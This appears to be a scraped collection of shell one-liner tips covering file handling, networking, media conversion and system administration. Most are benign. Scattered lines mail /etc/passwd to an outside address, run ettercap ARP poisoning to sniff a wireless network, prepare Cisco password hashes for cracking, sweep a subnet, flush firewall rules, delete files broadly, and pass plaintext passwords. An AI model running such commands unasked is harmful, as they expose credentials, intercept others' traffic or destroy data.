# print code 3-up and syntax-highlighted for easy beach-time study
enscript -E -B -3 -r -s 0 --borders -fCourier4.8 --mark-wrapped-lines=arrow
# Shorten url using bit.ly API
curl -s --data-urlencode 'longUrl='$1 --data-urlencode 'login='$login --data-urlencode 'apiKey='$apikey 'http://api.bit.ly/shorten?version=2.0.1&format=xml' | xmlstarlet sel -T -t -m "//shortUrl" -v "." | line
# Random cow tells your fortune
files=(/usr/share/cowsay/cows/*);cowsay -f `printf "%s\n" "${files[RANDOM % ${#files}]}"` "`fortune`"
# VIM subst any char different from literal " + EOL with searched string + white
space:%s/\([^\"]\)\(\n\)/\1 /g
# X11vnc starting session command
x11vnc -rfbauth /etc/x11vnc.pass -o /tmp/x11vnc.log -forever -bg -noxdamage -rfbport 5900 -avahi -display :0
# find multiple files in directory and perform search and replace on each of the
mfiles=$(find /dir/file -name *.txt -exec grep -l a {} \;) && perl -p -i -e 's/old/new/g;' $files
# Remove the last string character using rev and cut
echo "command lines" | rev | cut -c 2- | rev
# Replace strings in files
sed -i -e 's/war/peace/g' *
# Show a Package Version on Debian based distribution
dpkg-query -W -f='${Version}' package-name
# Insert text at the end of a root-privileged file
echo "text" | sudo tee -a /path/file.conf > /dev/null
# Colour part of your prompt red to indicate an error
export PS1='[\[\e[36;1m\]\u@\[\e[32;1m\]\h \[\e[31;1m\]\w]# \[\e[0m\]'
# get eth0 ip address
ip -f inet addr |grep "global eth0$"|awk '{print $2}'|cut -d '/' -f 1
# Download a set of files that are numbered
for i in `seq -w 1 50`; do wget --continue \ http://commandline.org.uk/images/posts/animal/$i.jpg; done
# Command results as an image capture
netstat -rn | convert label:@- netstat.png
# Syslog System Reporting in a shell
tail -f --retry /var/log/syslog /var/log/auth.log | ccze -A
# Watch those evil Red Hat states code D Uninterruptible sleep (usually IO).
watch -n 1 "ps aux | sed -n 's/ D /&/p'"
# List the size (in human readable form) of all sub folders from the current loc
ationdu --max-depth=1|sort -n|cut -f2|tr '\n' '\0'|xargs -0 du -sh 2>/dev/null
# List Big Files/Directories
du -h |grep -P "^\S*G"
# Grabs video from dv firewire camera and plays it on mplayer.
dvgrab - | mplayer -
# Using Git, stage all manually deleted files.
git add -u
# Find out actual full path of <file>
readlink -f <file>
# pick up 3 lines start at every 5th line of file.txt
sed -n '1~5{N;N;p}' file.txt
# List open TCP/UDP ports
netstat -anp --tcp --udp | grep LISTEN
# Attach all discovered iscsi nodes
iscsiadm -m node -l
# Analyze Apache Web Log Statistics starting on DATE x
sed -n '/05\/Dec\/2010/,$ p' access.log | goaccess -s -b
# Quickly create an alias for changing into the current directory
map() { if [ "$1" != "" ]; then alias $1="cd `pwd`"; fi }
# Print the lastest stable version of Perl
curl -s http://www.perl.org/get.html | grep -m1 '\.tar\.gz' | sed 's/.*perl-//; s/\.tar\.gz.*//'
# Mount an ISO image on Mac OS X
hdiutil mount sample.iso
# List open TCP/UDP ports
netstat -ltun
# View the newest xkcd comic.
curl -s 'xkcd.com' | awk -F\" '/^<img/{printf("<?xml version=\"1.0\"?>\n<xkcd>\n<item>\n <title>%s</title>\n <comment>%s</comment>\n <image>%s</image>\n</item>\n</xkcd>\n", $6, $4, $2)}'
# Extract multiple tar files at once in zsh
tar -xi < *.tar
# Convert first letter of string to uppercase
string="${string^}"
# Timer with sound alarm
sleep 15m; yes > /dev/dsp
# Create a CD/DVD ISO image from disk.
cp /dev/cdrom file.iso
# repository search
aptitude search ~d "irc client"|grep -i "irc client"
# Diff with Sections/Headers
diff -U 9999 file_a file_b | tail -n +3 | grep -P "^(\ Header|\-|\+)"
# convert unixtime to human-readable
echo "0t${currentEpoch}=Y" | /usr/bin/adb
# Run remote web page, but don't save the results
wget -q --spider http://server/cgi/script
# Duplicate a line in a text file and replace part of the duplicated line
sed -i -e '/foo/p' -e 's/foo/barfoo/' file
# Recursively scan directories for mp3s and pass them to mplayer
$ find . -iname *.mp3 | while read line ; do ln -s "$line" $(echo -e "$line" | openssl md5).mp3 ; done ; mpg123 *.mp3
# List your interfaces and MAC addresses
ifconfig | awk '/HWaddr/ { print $1, $5 }'
# show each new entry in system messages as a popup
tail -n0 -f /var/log/messages | while read line; do notify-send "System Message" "$line"; done
# pipe commands from a textfile to a telnet-server with netcat
nc $telnetserver 23 < $commandfile
# print scalar gmtime
perl -e "print scalar(gmtime(1247848584))"
# Find large files in current directory
alias big='BIG () { find . -size +${1}M -ls; }; BIG $1'
# View all new log messages in real time with color
find /var/log -iregex '.*[^\.][^0-9]+$' -not -iregex '.*gz$' 2> /dev/null | xargs tail -n0 -f | ccze -A
# command for converting wav files to mp3
find . -iname "*wav" > step1 ; sed -e 's/\(^.*\)wav/\"\1wav\" \"\1mp3\"/' step1 > step2 ; sed -e 's/^/lame /' step2 > step3 ; chmod +x step3 ; ./step3
# List all rpms on system by name, version and release numbers, and architecture
rpm -qa --qf '%{name}-%{version}-%{release}.%{arch}\n'
# alias for etckeeper, to commit changes after moification of etc
function ec() { ec_var="`pwd`" && cd /etc/ && sudo bzr commit -m "$@" && cd $ec_var; }
# get time in other timezones
let utime=$offsetutc*3600+$(date --utc +%s)+3600; date --utc --date=@${utime}
# Quick Full Screen RDP connection
alias rdp='rdesktop -u <user> -g 1600x1200 -D -r disk:home=/home -r clipboard:PRIMARYCLIPBOARD'
# Convert HTML file into valid XML
tidy -asxhtml -numeric < index.html > index.xml
# Exit shell faster
^D
# Do a search-and-replace in a file after making a backup
for file in <filename>; do cp $file{,.bak} && sed 's/old/new/g' $file.bak > $file; done
# Triangular Number
echo $(echo $(seq $MIN $MAX) | sed 's/ /+/g') | bc -l
# floating point operations in shell scripts
exp="(2+3.0)/7.0*2^2"; val=$(awk "BEGIN {print $exp}" /dev/null)
# Which machine have I logged in from?
TTY=$(tty | cut -c 6-);who | grep "$TTY " | awk '{print $6}' | tr -d '()'
# Find and remove files
find / -name core | xargs /bin/rm -f
# Find C/C++ source code comments
perl -ne 'print if m{\Q/*\E}x .. m{\Q*/\E}x or m{\/\/}x' *.c
# Sniff who are using wireless. Use wireshark to watch out.pcap :]
sudo ettercap -T -w out.pcap -i wlan0 -M ARP // //
# Tar Pipe
(cd src && tar -cf - .) | (cd dest && tar -xpf -)
# get time in other timezones
tzwatch
# Simple Comment an entire file
sed -i 's/^/#/' FILENAME
# Changing the terminal title to the last shell command
[[ "x$TERM" == "xrxvt" || "x$XTERM_VERSION" == xXTerm* || "x$COLORTERM" == 'gnome-terminal' && "x$SHELL" == */bin/zsh ]] && preexec () { print -Pn "\e]0;$1\a" }
# Show a Package Version on Debian based distribution
aptitude -F '%p %v#' search <pattern>
# Send multiple attachments using mailx
(uuencode foo.txt foo.txt; uuencode /etc/passwd passwd.txt)|mailx -s "Pandaren!" [email protected]
# Get all links of a website
dog --links "http://www.domain.com"
# tar's and moves all contents of current directory to target dir
tar cf - . |(cd /targetdir; tar xvf -)
# remove comments from xml
cat <filename> | perl -e '$/ = ""; $_ = <>; s/<!--.*?-->//gs; print;'
# recursive grep of text files
grep -Ir foo *
# generate the moduli file for openssh if lost
ssh-keygen -G /tmp/moduli-2048.candidates -b 2048
# OSX Expand URL and Copy to Clipboard
function expand_url() { curl -sI $1 | grep Location: | cut -d " " -f 2 | tr -d "\n" | pbcopy }
# (tcsh alias)Reverse an IPv4 address. It is useful to looking the address up in
DNSBL.alias ip4rev "echo \!* | sed 's/^\([0-9]*\)\.\([0-9]*\)\.\([0-9]*\)\.\([0-9]*\)/\4.\3.\2.\1/'"
# automatically add and remove files in subversion
svn st | grep '^\?' | awk '{print $2}' | xargs svn add; svn st | grep '^\!' | awk '{print $2}' | xargs svn rm
# what?s running on a given port on your machine?
lsof -i -n -P | grep :80
# Manage "legacy" service run control links
sudo find /etc/rc{1..5}.d -name S99myservice -type l -exec sh -c 'NEWFN=`echo {} | sed 's/S99/K99/'` ; mv -v {} $NEWFN' \;
# generate random mac address
2>/dev/null dd if=/dev/urandom bs=1 count=6 | od -t x1|sed '2d;s/0000000 *//;s/ /:/g;s/::*$//'
# List the CPU model name
grep 'model\|MHz' /proc/cpuinfo |tail -n 2
# Find the biggest files
find -type f | xargs -I{} du -sk "{}" | sort -rn | head
# Figure out what shell you're running
ps -o comm= -p $$
# Format a password file for John the Ripper from Cisco configs (Level 5)
sed -n 's/[ :]/_/g; s/^\(.\{1,\}\)_5_\($1$[$./0-9A-Za-z]\{27,31\}\)_*$/\1:\2/p' < cisco-device-config > passwd
# Enable Basic Security Mode (BSM) Auditing --Solaris
/etc/security/bsmconv
# cat ~/.ssh/id_rsa.pub | ssh [email protected] "cat - >> ~/.ssh/authorized_keys"
concatenate local RSA to remote machine's authorized_keys
# Start a vnc session on the currently running X session
x0vnc4server -display :0 -PasswordFile ~/.vnc/passwd
# get daily wizard of id comic
curl -o id.gif `date +http://d.yimg.com/a/p/uc/%Y%m%d/largeimagecrwiz%y%m%d.gif`
# get the result of database query in vertical way (Column=Value)
vsqlplus "SELECT * FROM TABLE_NAME;"
# Clear ARP table in linux.
for arptable in `arp | grep "eth1" | cut -d " " -f1`; do arp -d $arptable; done
# Find the biggest files
find -type f | xargs -I{} du -s "{}" | sort -rn | head | cut -f2 | xargs -I{} du -sh "{}"
# Using associative array to remove all files and directories under PWD except "
$1", "$2", "$3",..."$n"rmall_but() { declare -A keep;for arg;do keep[${arg%/}]=1;done;for file in *;do [[ ${keep[$file]} ]] || rm -rf "$file";done; }
# Tree based ps view "painted" by ccze
alias cps="ps -u root U `whoami` --forest -o pid,stat,tty,user,command |ccze -m ansi"
# Create etags file of .c, .cpp, and .h files in all subdirectories
find . -regex ".*\.[cChH]\(pp\)?" -print | etags -
# Download entire commandlinefu archive to single file
for x in `jot - 0 \`curl "http://www.commandlinefu.com/commands/browse"|grep "Terminal - All commands" |perl -pe 's/.+(\d+),(\d+).+/$1$2/'|head -n1\` 25`; do curl "http://www.commandlinefu.com/commands/browse/sort-by-votes/plaintext/$x" ; done >a.txt
# orderly shutdown system and reboot.
shutdown -r now
# Watch netstat output every 2 seconds
watch -n 2 netstat -antu
# Validating a file with checksum
[ "c84fa6b830e38ee8a551df61172d53d7" = "$(md5sum myfile | cut -d' ' -f1)" ] && echo OK || echo FAIL
# floating point operations in shell scripts
wcalc -q <<< '3/5'
# Look up a unicode character by name
grep -i "$*" /usr/lib/perl5/Unicode/CharName.pm | while read a b; do /usr/bin/printf "\u$a\tU+%s\t%s\n" "$b"; done
# For setting of double keyboard layouts: us, ru, but you can write in phonetic
like www.translit.rusetxkbmap -layout us,ru -variant basic,phonetic -option -option grp:switch,grp:caps_toggle
# Create a folder but first you can test if it exists
test -d folder || mkdir folder
# Combining video file part downloaded separately using cat command
cat video.avi.001 video.avi.002 video.avi.003 >> video.avi
# create a colorful image
c=blue;convert -size 50x50 xc:$c $c.png; for i in red green yellow; do convert $c.png -background $i -rotate 20 $i.png; rm $c".png"; c=$i; done; mv $i".png" logo.png; display logo.png
# Using Git, stage all manually deleted files.
for x in `git status | grep deleted | awk '{print $3}'`; do git rm $x; done
# Change date from MM/DD/YYYY to YYYY-MM-DD (mysql like)
date -d 09/20/1981 +"%Y-%m-%d"
# bash chop
alias chop="tr -d '\r\n'"
# Diff with colour highlighting
svn diff ARGUMENTS_FOR_DIFF | source-highlight --out-format=esc --src-lang=diff
# ffmpeg vhook imlib2.so
ffmpeg -i input.flv -vhook '/usr/lib/vhook/imlib2.so -c white -x 250 -y H+(-1.8*N+80) -t Hallo! -A max(0,255-exp(N/16))' -sameq -acodec copy output.flv
# Make ABBA better (requires firefox)
wget -O - -q http://www.azlyrics.com/lyrics/abba/takeachanceonme.html | sed -e 's/[cC]hance/dump/g' > ~/tdom.htm && firefox ~/tdom.htm
# Mirror every lvol in vg00 in hp-ux 11.31
for i in in $(vgdisplay -v vg00 | grep "LV Name" | awk '{ print $3 };'); do; lvextend -m 1 $i /dev/disk/<here-goes-the-disk>; done
# Parse bookmarks and download youtube files
sed 's+href="\([^"]*\)"+\n\1\n+g' bookmarks.html | grep '^http' |clive
# Define dettaching commands in bashrc
__disown(){ local cmd=$1 ; shift ; $cmd "$@" &> /dev/null &disown }; for i in gvim ; do alias $i="__disown $i"; done
# find out which TCP ports are listening and opened by which process in verbose
netstat -tlvp
# Generat a Random MAC address
MAC=$((date +'%Y%m%d%H%M%S%N'; cat /proc/interrupts) | md5sum | sed -r 's/(..)/\1:/g' | cut -d: -f 1-6)
# Copy a file over the network with 3 bounces
cat file.orig | ssh user1@host1 "ssh user2@host2 \"ssh user3@server3 'cat >file.dest'\""
# Bashbuiltin printf
cat file.txt | while read line; do printf "%7.2f -> %7.2f\n" $line; done
# Return IP Address
ifconfig -a| awk 'BEGIN{FS="[ :]+"} /Bcast/{print $4}'
# Get the state (HTTP code) of a resource from its URL
curl -s -L --head -w "%{http_code}\n" URL | tail -n1
# Converts all jpg files to 75 quality.
find . -type f -name '*.jpg' -exec convert -quality 75 {} {} \;
# git merge --dry-run
git merge --no-commit --no-ff
# Extract the daily average number of iops
for x in `seq -w 1 30`; do sar -b -f /var/log/sa/sa$x | gawk '/Average/ {print $2}'; done
# Display a block of text with vim with offset, like with AWK
vim -e -s -c 'g/start_pattern/+1,/stop_pattern/-1 p' -cq file.txt
# list all instances of a file in your PATH directories (without duplicates) in
PATH orderfunction wherepath () { for DIR in `echo $PATH | tr ":" "\n" | awk '!x[$0]++ {print $0}'`; do ls ${DIR}/$1 2>/dev/null; done }
# show top 10 most memory hungry process with a simple format of (%mem, pid, sh
ort command)ps -eo pmem,pid,comm --no-headers | sort -k1 -rn | head -10
# How many lines does the passwd file have?
cat /etc/passwd | wc -l
# copy root to new device
rsync -aHux --exclude=/proc/* --exclude=/sys/* /* /mnt/target/
# git branch point
git merge-base branch1 branch2
# Show hidden files in OS X
defaults write com.apple.Finder AppleShowAllFiles TRUE
# do a release upgrade in ubuntu
do-release-upgrade
# calculate in commandline with bc
echo "1+1" | bc
# Clear iptables rules safely
function clearIptables(){iptables -P INPUT ACCEPT; iptables -P FORWARD ACCEPT; iptables -P OUTPUT ACCEPT; iptables -F; iptables -X; iptables -L}
# Short URLs with ur1.ca
ur1() { curl -s --url http://ur1.ca/ -d longurl="$1" | sed -n -e '/Your ur1/!d;s/.*<a href="\(.*\)">.*$/\1/;p' ; }
# One liner to parse all epubs in a directory and use the calibre ebook-convert
utility to convert them to mobi formatfor filename in *.epub;do ebook-convert "$filename" "${filename%.epub}.mobi" --prefer-author-sort --output-profile=kindle --linearize-tables --smarten-punctuation --extra-css="/yourdir/calibre.css" --asciiize --enable-heuristics;done
# Print repeating CSV values on new lines - normalize repeating fields
echo "LINUX,DIR,FILE1,FILE2,FILE3" | perl -aF, -nle 'my ($fld1, $fld2, @fields) = @F; while(@fields) { print join ",", $fld1, $fld2, splice(@fields, 0, 1) }'
# For files owned by root only, change ownership to a non-privileged user.
find /path/to/dir -user root -exec chown [nonprivuser] {} \;
# List only locally modified files with CVS
cvs -n update 2>null | grep -i "M " | sed s/"M "//
# Make sure a script is run in a terminal.
tty > /dev/null 2>&1 || { aplay error.wav ; exit 1 ;}
# calculate in commandline with dc
dc -e "1 1 + p"
# Deal with dot files safely
rm -rf .??*
# Recursive script to find all epubs in the current dir and subs, then convert t
o mobi using calibre's ebook-convert utilityfind $PWD -type d | while read "D"; do cd "$D"; for filename in *.epub;do ebook-convert "$filename" "${filename%.epub}.mobi" --prefer-author-sort --output-profile=kindle --linearize-tables --smarten-punctuation --asciiize;done ;done
# Regex or
egrep expr1\|expr2 file
# Print a bar graph
SCALE=3; WIDTHL=10; WIDTHR=60; BAR="12345678"; BAR="${BAR//?/==========}"; while read LEFT RIGHT rest ; do RIGHT=$((RIGHT/SCALE)); printf "%${WIDTHL}s: %-${WIDTHR}s\n" "${LEFT:0:$WIDTHL}" "|${BAR:0:$RIGHT}*"; done < dataset.dat
# Turn /path/to/dir and subdirectories into a project tree
chgrp -R [projgroup] ; find /path/to/dir -type d -exec chmod g+s {} \;
# alias to show my own configured ip
alias showip="ifconfig eth0 | grep 'inet addr:' | sed 's/.*addr\:\(.*\) Bcast\:.*/\1/'"
# Send Reminders from your Linux Server to Growl on a Mac
remind -z1 -k'echo %s |ssh <user>@<host> "growlnotify"' ~/.reminders &
# Change your swappiness Ratio under linux
echo 50 > /proc/sys/vm/swappiness
# Deal with dot files safely
rm -rf .[!.]*
# Delete all ".svn" directories from current path (recursive)
find . -name ".svn" -exec rm -rf {} \;
# opening your helper script without knowing the path (zsh)
less =rcsyslog
# Copy the directory you want to specify a comma separated list of directories t
o copy.cp -arv ~/Documents/{foo,bar} --target-directory=~/buzz/
# Create & transfer tarball over ssh
ssh -c 'tar cvzf - -C /path/to/src/*' | tar xzf -
# Copy file content to X clipboard
!xclip -i %
# Stop Grooveshark destroying your CPU
sudo cpulimit -e Grooveshark -l 20
# type fortune in real time
fortune | pv -qL 10
# Get disk quota usage openvz using vzlist
vzlist -a -H -o hostname,diskspace,diskspace.s,veid | awk '{ printf( "%2.f%\t%s\t%s\n"), $2*100/$3, $4, $1}' | sort -r
# sort a csv file according to a particular n th field numerically (quicker tha
n excel)sort -t"," -n -k5 file.csv # according to the 5th field NUMERICALLY!!
# monitor the last command run
$ history
# add border to image
convert input.png -mattecolor gold -frame 10x10+5+5 output.png
# How to Find the Block Size
/sbin/dumpe2fs /dev/hda2 | grep 'Block size'
# scp a good script from host A which has no public access to host C, but with a
hop by host Bssh middlehost "ssh -a root@securehost '> nicescript'" < nicescript
# Router discovery
awk 'NR==2 {print $1}' /proc/net/arp
# showing opened ports on machine
netstat -tulpnc
# SVN Status log to CSV (Mac OSX friendly)
svn log | tr -d '\n' | sed -E 's/-{2,}/\'$'\n/g' | sed -E 's/ \([^\)]+\)//g' | sed -E 's/^r//' | sed -E "s/[0-9]+ lines?//g" | sort -g
# remove border of image
convert input.png -shave 10x10 output.png
# pacman install list of packages
pacman -Q | grep -v pacman | cut -d' ' -f1 > packages.txt && pacman -Sy `cat packages.txt` --noconfirm
# teatimer
sleep 3m; play bigben.wav
# Sum of the total resident memory Stainless.app is using.
ps -ec -o command,rss | grep Stainless | awk -F ' ' '{ x = x + $2 } END { print x/(1024) " MB."}'
# Get the title of a youtube video
youtitle(){ GET $1 | grep document.title | sed "s;^.*document.title = '\(.*\)'.*$;\1;"; };
# Watch and keep history of a command
CMD="who";SEC=1;N=0;OLD="";NEW=""; while `sleep $SEC`; do OLD="$NEW"; NEW="$(eval $CMD)"; DIFF=`diff <( echo "$OLD" ) <( echo "$NEW" )`; if [ -n "$DIFF" ]; then date; echo "Diff #$N (${SEC}s): $CMD"; echo "$DIFF"; fi; N=$[$N+1]; done | tee /tmp/keepr
# create a image matrix
montage *.png -mode concatenate -tile 10x all.png
# anti-spam
date -u +%W$(uname)|sha256sum|sed 's/\W//g'
# Disable Mac OS X Dashboard
defaults write com.apple.dashboard mcx-disabled -boolean YES; killall Dock
# Run gunzipped sql file in PostGres, adding to the library since I couldnt find
this command anywhere else on the web.gzip -dc /tmp/pavanlimo.gz | psql -U user db
# Return IP Address
perl -e '$_=`ifconfig eth0`;/\d+.\d+.\d+.\d+ /; print $&,"\n";'
# print the first line of every file which is newer than a certain date and in t
he current directoryfind . -type f -newer 201011151300.txt -exec head -1 {} \;
# md5 checksum check
digest -a -v md5 <file-name>
# Python virtual-env creation
$sudo aptitude install python-virtualenv; virtualenv --no-site-packages jpaenv; source jpaenv/bin/activate
# Edit any script executable by the user.
nano `which script`
# Determine what process is listening on a port on Solaris, without lsof
for x in `ptree | awk '{print $1}'`; do pfiles $x | grep ${PORT} > /dev/null 2>&1; if [ x"$?" == "x0" ]; then ps -ef | grep $x | grep -v grep; fi; done 2> /dev/null
# resolve hostname to IP our vice versa with less output
hostresult=$(host -t A www.example.com); echo "${hostresult##* }"
# Populate a folder with symbolic links to files listed in an m3u playlist.
(IFS=$'\n'; ln -sf $(awk '((NR % 2) != 0 && NR > 1) {print "prefix" $0}' list.m3u) target_folder)
# Set date and time
sudo date -s "26 OCT 2008 19:30:00"
# Get last changed revision to all eclipse projects in a SVN working copy
find . -iname ".project"| xargs -I {} dirname {} | LC_ALL=C xargs -I {} svn info {} | grep "Last Changed Rev\|Path" | sed "s/Last Changed Rev: /;/" | sed "s/Path: //" | sed '$!N;s/\n//'
# run complex remote shell cmds over ssh, without escaping quotes
perl -e 'system @ARGV, <STDIN>' ssh host -l user < cmd.txt
# Rename files in a directory in an edited list fashion
exec 3<&0; ls -1N | while read a; do echo "Rename file: $a"; read -e -i "$a" -p "To: " b <&3 ; [ "$a" == "$b" ] || mv -vi "$a" "$b"; done
# Recursive script to find all epubs in the current dir and subs, then convert t
o mobi using calibre's ebook-convert utilityfind . -name '*.epub' -exec sh -c 'a={}; ebook-convert $a ${a%.epub}.mobi --still --more --options' \;
# Generate an XKCD #936 style 4 word password
echo $(grep "^[^']\{3,5\}$" /usr/share/dict/words|shuf -n4)
# (Inside of a shell script) Make executable a BeanShell script under Linux/Cygw
in///bin/true; exec java bsh.Interpreter "$0" "$@"
# catch all the txt files into a start_dir tree and copy them into a single end_
dirfind start_dir -name *.txt | xargs -J % cp % end_dir/
# Picture Renamer
ls -1 *.jpg | while read fn; do export pa=`exiv2 "$fn" | grep timestamp | awk '{ print $4 " " $5 ".jpg"}' | tr ":" "-"`; mv "$fn" "$pa"; done
# Disable bluetooth on your laptop to save battery
rfkill block bluetooth
# print line and execute it in BASH
set -x
# Reading my nic's mac address
ifconfig eth3|sed 's/^eth3.*HWaddr //;q'
# Quick and dirty version control for one file
v () { ( IFS=$'\n'; suf="_versions"; mkdir -p "$1$suf"; nr=`ls "$1$suf" | wc -l`; nr=`printf "%02d" $(($nr + 1))`; cp "$1" "$1$suf/v${nr}_$1" ) }
# grayscale image
convert input.png -colorspace Gray output.png
# Generate a specification file for file integrity scanning.
mtree -c -K sha256digest -X mtree.exclude -p /path > host.mtree
# covert m4a audio files to wav
find . -name '*.m4a' | xargs -I audiofile mplayer -ao pcm "audiofile" -ao pcm:file="audiofile.wav"
# Extract XML from an otherwise plain text log file
sed -n '/<Tag>/,/<\/Tag>/p' logfile.log
# turn lines in columns in csv format
ls | sed -n '1h;2,$H;${g;s/\n/,/g;p}'
# Remove all .svn folders
find . -name .svn -print0 | xargs -0 rm -rf
# flush (not delete) frozen emails from exim's mail queue
exipick -zi | while read x ; do exim -dM "$x"; sleep 1;done
# Show the 1000*1000 and 1024*1024 size of HDs on system
for I in $(awk '/d[a-z]+$/{print $4}' /proc/partitions); do sudo hdparm -I '/dev/'$I; done | grep 'device size with M'
# Get the total size (in human readable form) of all certain file types from the
current directoryfind . -name 'pattern'| xargs du -hc
# Find installed packages that are not in the portage tree anymore.
for f in $(qlist -IC); do stat /usr/portage/"$f" > /dev/null; done
# Autofocus window after executing some command
function focus() { winID=`xprop -root |awk '/_NET_ACTIVE_WINDOW/ {print $5; exit;}'`; $@; wmctrl -i -a $winID; }
# find an unused unprivileged TCP port
netstat -atn | perl -ane 'if ( $F[3] =~ /(\d+)$/ ) { $x{$1}=1 } END{ print( (grep {!$x{$_}} 32768..61000)[0] . "\n" )}'
# read squid logs with human-readable timestamp
tail -f /var/log/squid/access.loc | ccze -CA
# Generate an XKCD #936 style 4 word password
shuf /usr/share/dict/words |grep "^[^']\{3,5\}$" |head -n4
# Lists open ports
netstat -antuwp | egrep "(^[^t])|(^tcp.*LISTEN)"
# Match non-empty lines
grep -v "^\W$" <filename>
# Change open file descriptors limit.
ulimit -n <value>
# View firewall config including devices on linux w/netfilter
iptables -L -n -v
# Get the latest Geek and Poke comic
wget -q $(lynx --dump 'http://geekandpoke.typepad.com/' | grep '\/.a\/' | grep '\-pi' | head -n 1 | awk '{print $2}') -O geekandpoke.jpg
# Count words in a TeX/LaTeX document.
detex document.tex|wc -w
# Join all sequentially named files in the directory
x=(*.001); cat "${x%.001}."* > "${x%.001}" #unsafe; does not check that all the parts are there, or that the file-sizes make sense!
# View video cam from remote machine during ssh session
xawtv -remote -bpp 16 -noxv-video -geometry 160x120 -device /dev/video0
# Get Interface's IP on Mac
ipconfig getifaddr <Interface>
# Kill multiple Locked connection by a single user in MYSQL DB
for i in `mysqladmin -h x.x.x.x --user=root -pXXXX processlist | grep <<username>>| grep <<Locked>>| awk {'print $2'}` do mysqladmin -h x.x.x.x --user=root -pXXX kill $i; done;
# Print a row of 50 hyphens
awk 'BEGIN{while (a++<50) s=s "-"; print s}'
# How to use rysnc over ssh tunnel
sshpass -p [password] rsync -av -e ssh [utente]@[indirizzoip]:/directorydacopiare/ /directorydidestinazione
# Rescan partitions on a SCSI device
echo "w" | fdisk /dev/sdb
# Remove all .svn folders
shopt -s globstar; rm -rfv **/.svn
# Display CPU usage in percentage
ps aux | awk {'sum+=$3;print sum'} | tail -n 1
# Change a text files contents without opening it, or intermediate files.
print 'g/'delete this line'/delete\nwq' | ex file.txt
# Print a row of 50 hyphens
jot -s '' -b '-' 50
# List alive hosts in specific subnet
for ip in `seq 1 255`; do ping -c 1 192.168.1.$ip ; done | grep ttl
# bash alias for sdiff: differ
alias differ='sdiff --suppress-common-lines $1 $2'
# Ranking of the most frequently used commands
history | awk '{print $2}' | awk 'BEGIN {FS="|"}{print $1}' | sort | uniq -c | sort -n | tail | sort -nr
# Backup a file with a date-time stamp
buf() { f=${1%%.*};e=${1/$f/};cp -v $1 $f-$(date +"%Y%m%d_%H%M%S")$e;}
# List 50 largest source files in a project
find . -type f -name '*.pm' -printf '%6s %p\n' | sort -nr | head -n 50
# most changed files in domains by rdiff-backup output
cat /backup/hd7/rdiff-log.txt |grep Processing | awk '{ print $4 }' | sed -e 's/\// /g' | awk '{ print $1 }' |uniq -c |sort -n
# Transfers clipboard content from one OS X machine to another
pbpaste | ssh user@hostname pbcopy
# securely overwrite a file with random junk, rename it to clear the directory e
ntry and finally delete itshred -vzu /tmp/junk-file-to-be-shredded
# List the CPU model name
sed -n 's/^model name[ \t]*: *//p' /proc/cpuinfo
# Finding all numbers that are bigger then 1 in vim
/^\([2-9]\d*\|1\d+\)
# Delete Mailer-Daemon messages
mailq | grep MAILER-DAEMON | awk ?{print $1}? | tr -d ?*? | postsuper -d -
# Ranking of the most frequently used commands
history | awk '{print $2,$3}' | sed s/sudo// | awk '{print $1}' | awk 'BEGIN {FS="|"}{print $1}' | sort | uniq -c | sort -n | tail | sort -nr
# Converting your Xfig 'fig' files to 'eps' and others
fig2dev -L eps file.fig file.eps
# Pipe stdout to image and mail
gotxt2imgmail() { if [ $# != 1 ]; then echo 'gotxt2imgmail < email >'; return; fi; e="$1"; f=$RANDOM.png; convert label:@- $f; echo "" | mailx -s $f -a $f $e }
# Adding kernel boot parameters after loading kernel and initrd
echo "root=/dev/sda7" > /proc/param.conf
# transpose a file
awk '{ for (f = 1; f <= NF; f++) a[NR, f] = $f } NF > nf { nf = NF } END { for (f = 1; f <= nf; f++) for (r = 1; r <= NR; r++) printf a[r, f] (r==NR ? RS : FS) }'
# Determine configure options used for MySQL binary builds
cat `whereis mysqlbug | awk '{print $2}'` | grep 'CONFIGURE_LINE='
# diff from last committed revision in Mercurial
hg diff -r$((`hg -q par | cut -d":" -f1`-1))
# a simple bash one-liner to create php file and call php function
echo '<?php echo str_rot13 ("Hello World\n") ?>' | php
# Show the most commonly used commands from .bash_history
cut -f1 -d" " ~/.bash_history | sort | uniq -c | sort -nr | head -n 30
# Use socat to wrap around your pty to enter the password.
(sleep 3; echo "MyAwesomePassword"; sleep 3) |socat - EXEC:'ssh username@server "hostname"',pty,setsid,ctty
# Get ethX mac addresses
ip link show eth0 | grep "link/ether" | awk '{print $2}'
# Print a row of 50 hyphens
echo - | sed -e :a -e 's/^.\{1,50\}$/&-/;ta'
# prepare unicode text saved from Microsoft Excel 2003 for unix console
iconv -f UTF16LE -t UTF-8 < SOURCE | awk 'BEGIN { RS="\r\n";} { gsub("\n", "\r"); print;}' > TARGET
# Get readline support for the sqlplus command.
socat READLINE EXEC:'sqlplus',pty,setsid,ctty
# Download all files of a certain type with wget.
wgetall () { wget -r -l2 -nd -Nc -A.$@ $@ }
# Make bash look like DOS
export PS1='C:${PWD//\//\\\}>'
# Send an http HEAD request w/curl
curl -i -X HEAD http://localhost/
# use sed to simulate rpad and lpad
ls / | sed -e :a -e 's/^.\{1,15\}$/&_/;ta'
# Get the headlines of an atom feed
atomtitles () { curl --silent $1 | xmlstarlet sel -N atom="http://www.w3.org/2005/Atom" -t -m /atom:feed/atom:entry -v atom:title -n}
# Get ethX mac addresses
ifconfig | awk '/HW/ {print $5}'
# Reload an open file in emacs
C-x C-v, Enter
# Geolocate a given IP address
ip2loc() { wget -qO - www.ip2location.com/$1 | grep "<span id=\"dgLookup__ctl2_lblICountry\">" | sed 's/<[^>]*>//g; s/^[\t]*//; s/&quot;/"/g; s/</</g; s/>/>/g; s/&amp;/\&/g'; }
# Backup a file with a date-time stamp
buf() { cp -v $1 ${1/${1%%.*}/$f-$(date +"%Y%m%d_%H%M%S")};}
# Run previous same command in history
<comand> && !<command>
# find the delete file ,which is in use
lsof -n |grep delete
# Sort the current buffer in vi or vim.
:1,$!sort
# Unzip and untar a *.tar.gz file in one go
tar -zxvf file.tar.gz
# dd with progress bar and statistics
dd if=FILE | pv -s $(stat FILE | egrep -o "Size: [[:digit:]]*" | egrep -o "[[:digit:]]*") | dd of=OUTPUT
# convert uppercase filenames in current directory to lowercase
for x in *;do mv "$x" "`echo $x|tr [A-Z] [a-z]`";done
# List all background image URLs referenced in CSS files in directory and subdir
ectoriesack -o -h --nogroup --css 'url\((.*)\)' --output "\$1"
# Command to rename multiple file in one go
find / -name "*.xls" -print0 | xargs -0 rename .xls .ods {}
# my command for downloading delicious web links,
